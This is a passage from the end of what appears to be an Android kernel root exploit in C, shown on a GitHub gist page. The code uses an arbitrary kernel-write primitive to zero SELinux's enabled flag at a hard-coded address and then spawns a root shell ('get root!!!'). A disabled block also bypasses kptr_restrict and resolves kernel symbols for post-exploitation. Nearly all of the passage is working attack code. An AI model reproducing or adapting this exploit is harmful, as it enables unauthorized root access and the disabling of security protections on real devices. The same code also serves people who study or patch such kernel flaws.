printf("self_tss osid %#x sid %#x exec_sid %#x create_sid %#x keycreate_sid %#x sockcreate_sid %#x \n", self_tss->osid, self_tss->sid, self_tss->exec_sid, self_tss->create_sid, self_tss->keycreate_sid, self_tss->sockcreate_sid); | |
printf("[!] patch selinux_enabled and selinux_enforcing...\n"); | |
//SYMBOL ADDRESS NEED TO CHANGE | |
//ffffffc0016267f4 D selinux_enabled | |
//ffffffc0019e0c3c B selinux_enforcing | |
unsigned int * selinux_enabled = (unsigned int*)0xc10596f0 /*0xffffffc0016267f4*/; | |
//unsigned int * selinux_enforcing = (unsigned int*)0xffffffc0019e0c3c; //unknown for f-01f | |
val = 0; | |
write_at_address_pipe((void*)selinux_enabled, &val, sizeof(unsigned int)); | |
//write_at_address_pipe((void*)selinux_enforcing, &val, sizeof(unsigned int)); | |
printf("[*] get root!!!\n"); | |
system("/system/bin/sh"); | |
//printf("[*] what!!!\n"); | |
#if 0 | |
printf("[!] we're trying to find ksyms firstly.\n"); | |
if ( 1 != break_kptr_restrict() ) | |
err(-1, "ksym not found."); | |
init_task = (size_t)get_kallsym_address("init_task", NULL); | |
printf("init_task : %p\n", (void*)init_task); | |
found_tsk_by_swapper(init_task); /* in post_exp.c */ | |
system("/system/bin/sh"); | |
while(1); | |
#endif | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment